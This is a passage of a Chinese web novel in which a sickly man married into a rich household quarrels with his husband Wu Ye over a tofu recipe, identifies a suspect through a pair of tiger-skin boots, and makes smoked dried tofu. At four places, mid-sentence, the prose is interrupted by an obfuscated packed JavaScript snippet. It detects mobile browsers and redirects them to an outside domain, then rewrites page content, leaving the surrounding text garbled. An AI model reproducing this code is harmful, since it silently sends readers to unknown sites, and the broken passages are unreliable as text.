他挠挠杜柏承的掌心问:“你那豆腐到底是怎么做成的?能不能和我透个底?我保证不传出去。” 杜柏承就笑了:“你是要自己亲手做吗?” “那怎么可能。” “那你还保证不传出去?” 邬夜信誓旦旦:“放心,我的人信得过。” 杜柏承不说话,给他个眼神:我连你都信不过,我还信你的人。 “杜柏承,”邬夜有点不高兴,用力捏着他的手指头问:“我难道还不比你手底下那些——那些人可信?” 杜柏承抽出被他一个劲糟蹋的手指头,边揉边道:“我手底下的人和我是利益共同体,你以为方子泄漏对他们有多大的好处?但你不一样。咳咳~你得了方子,还能继续买我的豆腐吗?还不得把我立马甩了。” 邬夜本来还有点生气杜柏承不相信自己,闻言一下笑出了声,又拉过他的手给他揉揉。 “我之前就和你说了,你把方子给我,然后把豆腐坊散了安心养病。以后咱们自产自销不仅省去了很多不必要的成本,生意也能大范围扩开。而且所有酒楼的利润都给你拿着,我一点不要,更不可能甩了你单干,好不好?” 这软饭够硬。 在座的哥嫂们都有点心动。 毕竟做豆腐很累,以杜柏承的身体情况,也不适合来回奔波操劳。如果邬夜言而有信,那经营酒楼不仅比做豆腐活轻赚的多,主要也很体面。 邬夜也看出杜家人的意动,笑道:“两位兄长,嫂嫂,你们也帮我劝劝他嘛。别的不说,我主要是担心他的身体。” 哥嫂们对视一眼,虽然也担心杜柏承的身体,但紧接着又想到—— 杜柏承因为入赘已经被很多人瞧不起了,若他再事事靠着邬夜,岂不是一点男人的脸面都没了? 若邬夜能一直对杜柏承好还行,若他只是为了得到豆腐方子而装装样子,又或者有朝一日变了心,那到时没了依仗的杜柏承又该如何自处? 遂都没说话,只齐刷刷看着杜柏承,想要知道他是什么想法? 杜柏承神色慵懒,再次抽回被邬夜握着的手,轻咳几声道:“我也早和你说了,我不稀罕你的酒楼,你也不要再打我方子的主意,就算死,我也不可能告诉你的。” “再有,我们签的买断协议还有一个来月到期,你还签不签了?” 邬夜突然发现人气到极致的时候,会变得心平气和,比如现在,他甚至还想笑两声。反问:“那还需要我付买断费吗?” 杜柏承毫不犹豫:“当然。” 邬夜眯眼:“我记得我们已经成婚了。” “那又怎么样?” “你说怎么样?” “我说?”杜柏承喝口茶润润嗓子,“亲兄弟还明算账呢,更何况我们这种。” 邬夜本来是和杜柏承并排坐着的,闻言立马在椅子上挪着身子转过来,和他膝盖相碰,面对面问:“杜柏承你说清楚,你这话是什么意思?我们这种是哪种呢?我请问你。” 杜柏承却不答反问:“那你这话又是什么意思?咳咳~你是要和我谈感情吗?” 邬夜:“怎么,不可以吗?” 杜伯承:“怎么就可以?当初你逼我入赘的时候,我是不是也和你谈过感情?让你好好的友情不要就那么破坏掉,但你当时是怎么说的?” “你说你从来没有把我当朋友,让我不要聊感情。现在我和你正儿八经谈生意,你又开始和我谈感情了?” 杜柏承问邬夜:“甘蔗没有两头甜,你是全天下的便宜都想占,是不是?” 当着这么多家人的面,杜柏承又开始提逼赘的事。 邬夜一下就火了,猛地拔高声音道:“杜柏承!你又给我翻旧账!” 杜伯承慢条斯理顶回去:“不是我翻旧账,是你应该敢作敢当。” 邬夜真是受够了!噌的站起身,面若冰霜质问他:“我怎么敢做不敢当?你总是责怪我逼你入赘!那你怎么不说我还救了你命?我——” 杜伯承从顺入流打断他的话:“你还为我毁了清白,对不对?” 别的新婚夫妻蜜里调油,他们两个是不吵难受。 期间一句话都插不进来的哥嫂们也发现了,这俩人表面上装的举案齐眉,其实私底下的关系并不怎么样。这不,多说两句话就暴露了。 正要劝。 杜柏承已经软和了态度,重又拉住邬夜紧紧握成拳头的手,将他轻轻拽到身边道:“别这么大气性,伤身。” “咳咳~我的意思,是咱们一码归一码。不要因为钱伤了感情,也不要因为感情耽误了生意,好吗?” 邬夜都要被他气死了,一把甩开他的手,“谁和你有感情?我和你没感情。” 杜柏承拿出自己曾经养爱犬的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14814219|158627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 经验,尝试给他顺毛:“嗯嗯嗯~你和我没感情,我和你有感情,行不行?” 这话入耳,这态度也让邬夜重新找回了面子。 他抿唇道:“这还像句人话。” 杜柏承也发现了,邬夜看着脾气不好,但真的还蛮好哄的。重又把他拉坐回椅子上,让华章去自己屋里取来红泥和书契,和邬夜确认无误后,各自按了手印。 续的买断协议仍是半年,买断费也依然是一百两。 邬夜洗着手上的红泥道:“我身上没带那么多银子,等明儿让人从镇上给你送五百两来。”他环视一眼简陋破败的黄土屋,“多的你留着修房子。” 杜柏承用毛巾擦着手摇头:“不用。这房子我本来去年就要推倒重建的,但请来的风水师说我家占着天坑,得今年六月才能动工。咳咳~工匠木料那些我都预备好了,钱也够用,你就不要破费了。” 邬夜还不知道这事,愣了一下才想起,先前那黑煤木匠好像是说了句家具已经做好什么的,但当时他只顾着拈酸吃醋了,也没注意听。此刻便又有点不高兴道:“家具也做好了?” 杜伯承却摇头:“还没。” 邬夜奇怪:“那先前那贱——咳~那个黑煤小木匠说家具做好了,那是什么家具?” 杜伯承顿住。 他穿来时,原主家徒四壁,生活条件和居住环境都极差。 杜伯承无法忍受这样的苦日子,待手里一有钱,便在镇上方量好了店铺,又置办了一处环境清幽的小院子。 却不想还没来得及和家里人说,就发生了逼赘的事。搬家和开店这两件事,便都耽搁了下来。 他这次住娘家,也是为了把这两件事彻底落实。 当然,现在还不能让邬夜知道。 差点说漏嘴的杜伯承将手里的毛巾递给邬夜,含糊道:“建房子的事还早,先做几件凑乎一下。” 邬夜不疑有他,道:“我让人给你送一千两过来,到时家具就别找那黑煤做了。多花点钱,找个好点的手艺师傅,做出来的也称心。” 杜柏承却还是摇头:“不用,找谁我也有银子。” 邬夜将手里的毛巾一扔,奇怪道:“杜柏承我发现你这个人真有意思,刚才和我要买断费的时候分文不让,现在白给你九百两又不要。我真不明白,你脑子里到底在想些什么?” 杜柏承神色淡淡:“该是我的,我一厘都不会让。咳咳~不是我的,我也一分都不稀罕。” 邬夜点头冷笑:“嗯,你清高,你有骨气,你是个男人。但咱俩也是正儿八经的夫妻吧?就非得算的这么清楚?” 杜柏承没再继续这个话题,转口说了迎宾楼掌柜的事,问他:“这事你知不知道?” 邬夜摇头,刚要和他解释,杜柏承却点点头相信了他,看着外面日落西山的天色提醒道:“时候不早了,你该走了。” 邬夜抿唇,没有丝毫要走的意思。 杜柏承看他:“怎么了?还有事?” 邬夜唇齿微张,还是想问清楚他和那块黑煤有没有私情?坚持留在这里,是不是想背着自己,去和喜欢的死哭包偷偷相会? 但同时他也很清楚,杜柏承是个极注重隐私且十分讨厌拘束控制的人。 自己敢问,杜柏承就敢冷脸相对,恶语相向。 而离别在即,他回想起今日杜柏承对自己说的那些充满警告意味的话,也不想带着难受远赴他乡。 可是不问清楚,又不放心…… 邬夜心思百转间,忽有了个既能试探杜柏承,又不惹杜柏承讨厌,还能监视杜柏承一举一动的好主意。 12. 短暂的分别 邬夜神色关切,和杜柏承用商量的语气说。 “你这病歪歪的身子骨实在让人放心不下。不如我叫明月和明霜那俩丫头过来陪你待几天。” “现在娘病着。瑟瑟和青云都是牙牙学语的年纪,身边离不开人。华章也还是个小孩子。二哥呢,他不用你照顾就很好了……” “你这病说犯就犯,总得有人熬药叫大夫,总不能让大哥大嫂照顾完一家老小,再来照顾你吧?怎么说,你现在也成家了……” 邬夜仔细打量杜伯承面上神情,想着他要没歪心,自然不会觉得这是监视,更没有拒绝的理由。 杜柏承也确实不抗拒他这提议,只有些迟疑:“你那两个婢女年轻貌美,这里又是穷乡僻壤……” 邬夜知他在担心什么,笑说:“她们和阿诚、阿信,都是舅舅为我精挑细选出来的护卫。你放心,等闲之辈近不了她们身的。” 杜柏承眼睛一亮:“她们会武?” 邬夜点头:“嗯,若你遇到危险,她们也能保护你。” 杜柏承正打算去调查那虎靴男。 想着如果他真是邬夜指使,说不定那俩丫头作为邬夜的心腹,能露出什么破绽。如果不是,那自己遇到危险确实也有个靠。点头同意:“那好吧。” 到此邬夜终于心安,想着若是那黑煤单方面犯贱勾搭杜柏承的话,倒也好料理。由杜柏承陪着拜别完娘亲和哥嫂,出了大门都坐上马车了,又撩起帘来。 “青州盛产玉石、名茶、丝绸和好酒,”邬夜朗声问杜柏承:“你想要什么?我回来给你带。” 杜柏承拄着华章站在大门口,身上红装在夕阳晚照中,烈烈飞扬。 他扬起那张苍白俊美的脸,看向晚霞遍布的天。 邬夜坐在马车中目不转睛看着他,耐心等待。 杜柏承很快想好,说:“美人吧。” 整装待发的车队瞬间安静到落针可闻。 邬夜的眼刀也嗖嗖嗖掷飞到杜柏承身上,恶狠狠拒绝道:“混账东西!没这个!” 被骂了的杜柏承也不恼,只耸耸肩膀,略带了点遗憾的说:“那你平安回来就好。” 邬夜冷哼一声:“油嘴滑舌,不是个好东西。”放下轿帘道:“回府。” 一路都在想着:看在那冤家说话还算好听的份上,青州盛产的玉石、名茶、丝绸和好酒等,就都带一份给他吧。当然,美人是不可能的。这辈子,下辈子,下下辈子,都不可能。永远都不可能。 · 因着要做豆腐干,早早休息的杜柏承也早早起了床。 他吃过早饭,本想拄着华章走去阿满家验货,顺便锻炼消食。 但嫂嫂非说早上冷,风大。不仅左一层右一层把他裹成了大肉粽,还用红红的头巾裹住了他的脑袋瓜,按惯例只肯让他露出两只黑汪汪的大眼睛,任他怎么拒绝都没用。 大哥也如往常般,蹲下高大挺拔的身躯,要背他。 杜柏承试图再次拒绝:“我自己,咳咳~能走。” 杜光宗不说话,布满老茧的有力手掌朝后一捞,就扣着他的膝盖窝,把他轻而易举背在了身上。 杜柏承只能轻叹一声,乖乖放弃挣扎。 路上,华章这个小跟屁虫还要拽着他的衣角,不停关心问:“三叔~三叔~你冷不冷?” “不冷。” “那你要是冷,就说话。” “嗯。” 春寒料峭。 被太阳撕成一片一片的雪花毯子下,露出尖尖的小青草。每当脚掌踩上去,都会发出“咯吱~咯吱~”的小小抗议声。 杜柏承偷偷扯开头巾,一小口一小口,小心翼翼的呼吸着清晨特有的冷冽空气。不仅大脑十分享受这种醉氧的感觉,心情也变得无比轻松愉悦。 杜光宗仿若长了后眼,让他:“把头巾裹好。” “哦~”杜柏承慢吞吞地听话,鼻子抓紧机会快速呼吸最后一大口新鲜空气,代价是:“咳咳~咳咳!咳咳咳~” 杜光宗脚步一停,扭过头来看他。 “……”杜柏承垂眉咬住下唇,努力抑制住那股想要咳嗽的冲动,免得被大哥骂。 “就知道你不听话。”杜光宗说着放他下来,从怀里掏出一个用猪胃做成的水囊,打开先淋了些到手指上,确认水温不冷不烫正好后,这才捧着支到杜柏承嘴边,慢慢喂给他。 “谢谢大哥。”杜柏承喝了水,感觉好了很多。 杜光宗低头系着水囊,忽没头没脑问了句:“他对你咋样?” “谁?”杜柏承愣了一下才反应过来,“哦~挺好的。” “我看他脾气不咋好。” “嗯……有点。” 杜光宗的眉头皱起来:“那他要是和你动手的话,你可打不过他。” 杜柏承一笑,“那倒不至于。他虽然有些富贵人家娇养出来的少爷脾气,但咳咳~他好歹也受过礼教熏陶,知礼明义,并不是随便动粗的人,顶多嘴上厉害几句。但我的嘴也不是吃素的,没受他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14814220|158627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的委屈,也不会吃亏,你不用担心。” 杜光宗狐疑:“真的?” 杜柏承很是肯定地点点头:“嗯。” 杜光宗微微松了口气:“那就好。如果有什么委屈,一定要和大哥说,别自己闷在心里想不开。咱们虽然穷,但咱们的命不贱。虽然大哥没本事,帮不上你什么,但豁出去这条命,也不会——” “爹你好会说!你怎么这么会说!” 突然插话的华章鼓着小脸,像受了什么刺激,握着小拳头冲杜光宗大喊大叫道。 “三叔被逼着嫁人的时候!你怎么没有豁出命保护三叔!现在又说这种话!就跟卖我的时候一样!嘴上说的可好听了!到头来还是要把我卖了!你总是这样!总是这样!爹你真讨厌!比娘还讨厌!呜~” 华章小脾气爆发完也不给他们教训自己的机会,扭头跑回家了。 “……”杜柏承瞧自家便宜大哥满脸受伤,也不知该如何安慰,干巴巴的说了句:“华章还小,等他长大了,慢慢会体谅你和嫂嫂的难处的。” 杜光宗转过身,重又背起他道:“章儿说的也没错,我当不起他爹,我也当不起你大哥。” 杜柏承轻咳几声,用被嫂嫂包裹的严严实实的爪子,笨拙的拍了拍大哥宽阔有力却很是消瘦的背,闷声道:“我不知道你是不是一个合格的好父亲。但作为弟弟,我一直都记得,家里最困难的时候,你也没停过吊我命的药。” 晨光下的杜光宗步伐稳健,任凭山路多艰,那些杂草碎石如何为难,也没拖慢他的脚步一下。 杜柏承歪着脑袋伏在自家便宜大哥十分具有安全感的背上。漆黑如寒潭的眼睛里,映出雪地上大哥背着自己行走时的高大身影。 周边连绵的大山和荒凉的春日雪景从眼前一一晃过之时,杜柏承不自觉搂紧了大哥的脖子。 很想告诉他,在自己的心里,他是个十分合格且值得敬重的好哥哥。 但唇齿微张好几次,终是没好意思把那矫情兮兮的话说出来。 阿满的家远离人烟,在村子尽头靠近山脚下的一个小草坡上。 杜光宗去敲门时,把杜柏承放在了有阳光的背风处。 时间尚早,陆续起床的村民们提着尿桶出来倒。 托原主这双没有被电子设备荼毒过的眼睛,站在山坡上无聊看风景的杜柏承,一眼就注意到了那双令自己心心念念的虎皮靴,踏进了一户人家的门。 黑眸微眯,问大哥:“咳咳~那是谁的家?” 13. 谁才是真凶 杜光宗顺着自家弟弟手指的方向看过去,回道:“是王二旺的家,怎么了?” 村里叫这名的有好几个。 杜柏承又问:“哪个王二旺?” 杜光宗突然压低声音:“就是先前在咱院子里摔断腿那个,忘了?” “哦~原来是他。” 杜柏承刚发家那会儿,老遭贼惦记,便让大哥围着院墙挖了半米来深的陷阱。这王二旺大半夜跳进来,就摔断了腿。 当时杜柏承本想把他送去见官,以杀鸡儆猴。 但杜庭芳心善,可怜这王二旺家里还有未结亲的儿女。要是他做贼的事情传出去,不止一家人都抬不起头,几个孩子也全毁了。 而且杜家困难的时候,王二旺也帮过,并不是什么大恶之人。只因家中老母生病,儿媳生了孩子没东西吃,这才有了贼心。 王二旺本人被抓到后,也是羞愧难当,无地自容。跪在地上不仅用力给杜柏承磕着头,声泪俱下求他不要把自己当贼的事情说出去,还要撞墙自尽…… 终于求得杜柏承高抬贵手,放过了他,也没把这事宣扬出去。 论理,这王家对他感恩戴德都来不及,何至于还来害他? 可再转念一想,要害一个人,真的需要正当且充分的理由吗? 杜柏承惊觉一直以来,他都在以自己的三观去思考问题,觉得无愧于任何人和任何事,不该有生死仇敌。 但现在,他不确定了…… 阿满的木匠活一如既往,做得很不错。 无论是定制的家具还是图纸上用来做豆腐干的器具,都完美地符合了杜柏承的要求和心意。 不仅没有任何需要返工的地方,有些杜柏承没有思考到的细微之处,阿满也十分尽职尽责地帮他处理好了。 “辛苦了。”杜柏承问阿满:“尾款还是交给我二哥,咳咳~让他帮你保管吗?” “嗯,我用的时候去找康哥要就行。” 阿满小心翼翼问杜柏承:“伯承哥哥,你……你在那边还好吗?没人欺负你吧?” 杜柏承算是发现了,家人朋友们关心他时,都很怕戳到他的痛处,问问题走的都是模棱两可的路线。 他每次都得反应一下,才能明白过来他们在问什么。 对阿满笑笑道:“我在邬家挺好的,咳咳~有邬夜那霸王护着,也没谁敢欺负我。” 不管他说的是真是假,总之这话令人放心不少。 阿满回想起昨日那邬家公子对杜伯承的呵护态度,以及他比男人还要强上十倍的强大气场,自我安慰他要真心待自家伯承哥哥好,那杜伯承的日子确实会好过很多。 长长的舒了口气说:“那就好,那就好,他对你好就行。” 一旁的杜光宗,也是偷偷在心里盼望着,如果杜伯承说的都是真的,就好了。 杜伯承和阿满说好待会儿让人来搬器具,家具则继续在他这放几天后,和大哥相跟着出来,微微眯眼看着王二旺家的方向说:“我想自己走走。” 杜光宗瞧太阳出来,也止了风,便点点头,领着他从平缓的小道上慢慢往回走,闲聊着问:“你那做的什么家具?怪模怪样,没见过。又是从哪本书上看来的?” “……”杜柏承低头挑着脚下的路,不一会儿便来到了王二旺家门口。 敞开的大门里,一个瘸腿老汉正在扫院子。看见兄弟俩呆了下后,一张沟壑纵横的老脸瞬间涨红。 他上前一步,嗫喏着唇似是想打招呼,又不知想到什么垂下了头,拄着扫帚一拐一拐的往兄弟俩看不见的里面去了。 正是王二旺本人。 杜柏承扫了一眼没看到虎靴男,停下脚步对自家大哥道:“咳咳~渴了。” 杜光宗一摸怀里水囊,已经冰凉,道:“水冷了,你忍忍,回家喝点热的。” “没事,凉的也行。” “不行,喝了凉的又得咳嗽。” “没事。”杜柏承说着就要来自家大哥怀里掏。 杜光宗看他是真渴得狠了,拢住他的手向四周看了一圈,退让道:“这离村长家没几步路了,我去他家倒点热水。你找个太阳大的地方等着,我马上就回来。”说着要走,却被杜柏承一把拉住。 “不用那么费事,咳咳~我就是嗓子难受,润一下就行。” “哎呀!不费事。” 兄弟俩争执间,把自己挪到院子里面的王二旺又把自己挪出来,一拐一拐的出来说:“叔家里就有热水,早起你大娘刚烧的。杜二郎要是不嫌弃,叔这就去给你灌点……”神色,语气,都带着十分明显的讨好与小心翼翼。 杜光宗深知自家三弟清高自傲的读书人秉性。 怕杜柏承介怀之前那事嫌弃不肯要,刚要替他委婉拒绝免得彼此难堪,杜柏承却十分乖巧地点点头,跟着王二旺进了院子道:“那就麻烦王叔了。” 村里都是黄土房,格局差不多。日子好点的人家,也只是建得更大一些而已。 王二旺家人口多,边边角角都很逼仄。 杜柏承刚进到院中,便听到了灶房里的说笑声,问道:“王叔家里有客人?” 王二旺因着之前那事,自觉在杜家人面前很抬不起头来,心里感激杜伯承放自己一马,又羞愧难以面对,原本和杜家还算好的关系,已经很生疏了。 之前杜柏承建豆腐坊带着村里人发家致富的时候,他们一家也没脸凑上去。王二旺每每想起那事都后悔的要死,却没想还能迎来今日这样的转机。 他忙咧着嘴笑起来,很是讨好的递话说:“小孙女昨儿个过周岁,儿媳妇她弟弟来了,还没走呢。” 杜柏承点点头,行至屋檐下刚把水囊递给王二旺,听到动静的王家人就都一窝蜂拥了出来,七嘴八舌和兄弟俩打招呼。 “是杜家大朗和三郎啊,快快!来里面暖着来!刚摆上饭,还没吃呢。” 杜柏承客气谢绝,把目光放在人群中的虎靴男身上。 瞧他身材高大符合行凶条件,长的却虎头虎脑一副老实样。和自己对视时也不闪不避,只眼睛直勾勾的盯着自己打量,好像并没有恶意,表现的也很坦荡。 但人不可貌相。 一个心理素质好的凶手,自然也会很善于伪装。 杜柏承将脸上有些闷气的头巾摘下,主动和虎靴男 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14814221|158627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 搭话:“这位兄弟看着好面生。” 虎靴男正盯着杜伯承这个轰动了十里八乡十来年的风云人物细瞧,忽听他和自己说话,怔了一下才结巴道:“我,我不是你们村的。我,我来看我姐……” “我说呢,”杜柏承视线下滑,再次确认他脚上穿的老虎皮靴,和凶手穿的鞋一模一样后,闲聊几句问:“兄弟做什么的?看着像个猎户。” “哎?”虎靴男一双虎目悠然放大,无比震惊道:“你,你咋知道?你,你认识我?” 杜柏承指指他的鞋:“你要没有打猎的本事,怎么能穿的上老虎皮缝制的靴子呢?” “你,你真聪明!和他们传的,和我想的,一点都不一样!但,但我虽然靠打猎为生没错,但我还没有打,打老虎的本事呢。这,这鞋,是我捡来的。” 杜柏承一副很感兴趣的样子:“哦?在哪捡的?运气这么好。咳咳~快告诉我你捡这鞋的地点和良辰吉日,回头我也去捡一双来。” “哈哈~”众人闻言都凑趣着笑。 虎靴男也憨憨笑着说:“就,就是年前花灯节。我晚上抄,抄小道回家。在,在一片乱葬岗……” 看来这虎皮靴的原主人,大概率已经被杀人灭口了。 会是谁做的呢? 邬夜? 邀月阁? 还是其他什么人? 总之是个丧心病狂的家伙。 线索中断。 杜柏承沉吟一瞬,用一个彼此都满意的价格,将那双虎皮靴买了下来。 回去的路上,杜光宗拎着手里的鞋子很高兴,“虽然你平日和你二哥吵吵闹闹不像话,但心里到底是有他这个哥哥的。这不,一看见他想要的虎皮靴,眼睛都不眨一下,就给他买了。等回去洗干净了给他穿,肯定高兴。” 莫名变成二十四孝好弟弟的杜伯承:“啊?” 他正要说点什么,忽瞧见家门口聚了一大堆人,叽哩哇啦嚷嚷成一锅粥。 走上前一看,才发现是明月、明霜那俩丫头,在和张大海等村民吵架。 一群村民怒气冲冲的说:“邬家就没一个好东西!” 两个丫头牙尖嘴利的回:“先不说你们是个什么东西,就说姑爷现在也是邬家的人,你们疯狗似的汪汪乱叫半天,到底想咬谁?” 杜伯承瞧明月的嘴角勾着冷笑,明霜的指间闪着微芒似有暗器,怕她们出手伤人,忙喝止道:“行了,都少说几句。” 正吵得热火朝天的两拨人立马闭嘴。 一拨跑到杜伯承左边:“姑爷~” 一拨跑到杜伯承右边:“东家~” 彼此怒目相视狠狠剜了对方一眼后,都委屈巴巴地拉着杜伯承的袖子,和他泪眼汪汪告起了状:“呜呜~你看他呀~” 清官难断家务事。 杜伯承索性装聋一了百了。 他对李大海等人道:“你们去阿满家把器具搬回来,咳咳~待会儿我们做豆腐干。”又问俩丫头,“怎么来的这么早?” 明月和明霜瞪大眼睛不说话,盯着杜光宗手里的虎皮靴瞧了半天,齐齐问杜伯承:“姑爷,这死人鞋哪来的?” 14. 开始搞事业 杜伯承仔细观察着俩丫头的反应,不答反问:“你们认识这鞋的主人?” 明月点头:“要是我没认错的话,这鞋应该是陈家大爷书童的,之前常见他穿。过年那会儿忽听人说他得病死了,再也没见过。这鞋怎么会在姑爷手上?” 杜伯承想了想:“你说的这个陈家大爷,咳咳~是不是邬夜继母她大哥?” 明月:“嗯,就是他。” 杜伯承迷茫了。 他和这陈家大爷连面都没有见过,更别提会有什么过节。 之所以知道这号人,还是当初买邬家信息时,卖家附赠的。他吃饱了撑的让书童来害自己? ……难道是为了帮邬夜? 杜伯承又问:“你家主子,咳咳~和这陈家大爷的关系怎么样?” “……”明月看明霜。 明霜没有直接回答杜伯承这个问题,而是道:“姑爷知道把咱家迎宾楼挤的差点倒闭的邀月阁吧?那就是陈大爷的产业。” 杜柏承哦一声:“原来邀月阁背后的东家是他……”还有那日邬夜奋不顾身跳入冰湖救自己,真的是舍了性命和清白。 杜伯承终于知道凶手是谁了。洗清对邬夜怀疑的同时,也默默为自己点蜡。 ——以后跟着某人要面对那么多奇葩和丧心病狂的疯狗,算是有好日子过了。 买虎皮靴只是为了调查凶手身份,如今目的达到,杜伯承便让俩丫头拿去烧了。 他绕开连拍大腿喊亏的大哥,向满脸舍不得的二哥承诺一句:“以后给你做双更好的。”转道去了豆腐坊。 等待做豆腐干的张大海等摩拳擦掌,斗志满满。见了明月和明霜这两个邬家人,彼此都没有好脸色。但因为有杜伯承在,倒也相安无事。 杜伯承先让人把在草木灰里埋了一晚上的盐水豆腐拿出来,用清水洗干净后,放在太阳下沥干; 再将组装好的十个大长木架搬到豆腐坊外面的空地上,在陶泥制成的防火平台上,铺上薄厚均匀的香樟树锯末; 待引燃锯末升起浓浓的香烟,再在锯末的上面架上用细竹编织而成的镂空网,把用盐水煮过又带有草木香的豆腐块放上去; 之后每用烟熏一个时辰,就拿着长木夹子挨个翻个面儿。 如此熏个四五天,差不多就成了。 等待期间,杜柏承也终于从众多方案中,确定好了自己的商标和商旗。 正伏案做着最后的细节修改,明霜拿着一个筷子粗的袖珍小竹筒递到他面前,“姑爷,主子来信了。” 杜伯承画着图纸,头也不抬,“你念吧。” 明霜应诺打开,却是白纸一张。 不由奇怪:“哎?怎么没字?” 她本以为邬夜写了什么私情蜜语怕被看到,检查一番,发现只是普通信纸,并没有经过什么特殊处理。 不信邪又是找来烛火烤,又是对着太阳照,最后连水都用上了,还是什么都没有。 “主子这是什么意思?是不是寄错了?” 明霜将手里的信递给明月看,明月也捉摸不透,又递给杜伯承问:“姑爷,这怎么回?” 杜伯承看都没看一眼,直接道:“不用回。” 之后几天,信鸽不断。 但带来的信,都是空白。 杜伯承一概没看,也都没回。 在经过半年多时间的不断推翻、修改与打磨后,他终于在这几天,定稿完成了自己的商号标志——常青藤缠绕红蔷薇。 近看是妖冶怒放的花。 远看则是由藤与花组成的一个庄严冷肃的“杜”。 这灵感来源于杜伯承穿越前的家族徽章。 承载了他的过去,也代表了未来与希望。 第五日上午,竹架上的豆腐在日夜不停地烟熏中,镀上了一层比夕阳还漂亮的焦黄色。 原本摆得满满的十个熏制架,也在豆腐干逐渐缩水成型中,减少到了七个。 空气里散发着一股木材和豆子交织在一起的食物香。被风一吹,把已经眼巴巴等了好几天的小崽子们,馋的直流口水。 村里的小家伙们一个个睁着黑汪汪的懵懂大眼睛,猴似的把豆腐坊围成一个圈圈,一张小嘴不停歇地问:“什么时候好呀~什么时候好呀~” 按惯例,豆腐坊每次做好吃的,都会分给他们这些小馋猫一点,当然这次也不会例外。 而在他们的外围,则是三五成群聚在一起聊天话家常的大人们。边说,边时不时往这边看一眼,生怕会错过什么。 正午的太阳稍稍往西移了一点点。 杜伯承在全村男女老少万分期待的目光中,终于开口说:“再翻一次,咳咳~就能收了。” 话落便有人起哄说:“哎哎哎!都去洗手了啊!杜二郎说要给咱分好吃的了!不洗手的没有!”然后就是小孩子们兴奋的尖叫,和大人们的哄笑。 一片热闹中。 明霜放飞手中信鸽,看着手里依然什么都没写的空白信件,轻叹一声,不知第几次带着期盼问杜伯承:“姑爷,这次回吗?” 杜柏承不出意外,还是摇了摇头。看着停在树枝上的那一长排信鸽,轻咳道:“青州远在几百里之外,咳咳~它们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14814222|158627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也怪累的,就别折腾了。” 明霜和明月对视一眼,欲哭无泪。 从第一封信到现在,短短几天之内,她们手中已经积攒了二十多个小竹筒。 最离谱的一次,有五只信鸽同时落在了她们的肩膀上。 俩人虽然无法明白自家主子奇怪的行为,但都知道,自家主子是十分期盼得到姑爷回信的。 但杜伯承心硬如铁,别说回了,连看都没看过一眼。心里就只有他的豆腐生意…… 她们问心,是很想劝的。 但也知道杜柏承心里的疙瘩,又怕适得其反。 尽管心里已经在疯狂咆哮“姑爷求求你不要只心疼又白又胖的大鸽子,也心疼心疼我们思夫心切的可怜少爷啊!”面上却只能忍着,差点没憋出内伤。 熏制成焦黄色的豆腐干放在掌心,带着一点微热。 摸着干,掰开却带着湿度正好的软。 杜伯承在大家万分眼馋的目光中,放了一小块到嘴里慢慢嚼咽—— 入口咸香,口感十分紧实饱满。兼具了豆味与草木香,不仅好吃,饱腹感也很强。 “东家怎么样?好吃吗?什么味?啊?” “嗯~还不错。” 杜伯承把手里只掰了一小块的豆腐干,递给早就洗好手手眼巴巴等着的华章。让人切了些分给大家伙尝尝,问道:“味道如何?” 没人回答。 一个个鼓着腮帮子把眼睛瞪的老大,抢着盘子道:“你别吃啦!给我留点!” 杜伯承见状也不再询问,站在一边看他们狼吞虎咽互相抢食,心知这豆腐干已经成功过关,默默松了一口气。 和前几次一样,他看着胸有成竹很有把握,其实内心充满了紧张与不确定。 毕竟穿越前的他十指不沾阳春水,连菜都没洗过的人,更别提做什么豆制品了。 无论是之前的豆浆、豆腐脑、豆腐皮和豆腐,还是现在的豆腐干,他都从未亲手做过。仅有的经验,也是从穿越前看的那些美食制作视频得来的。 每一次新品的制作,对于杜伯承来说,都充满了未知与挑战。 怕失败。 又怕成功了,却不好吃。 但好在目前为止,得到的结果都令他感到满意。 杜伯承让人在大大的石灰坛子里铺上防水防潮的油纸,底部撒上厚厚的盐巴。按每放两层豆腐干就放一层盐的比例密封好后,立即启程去溪水镇。 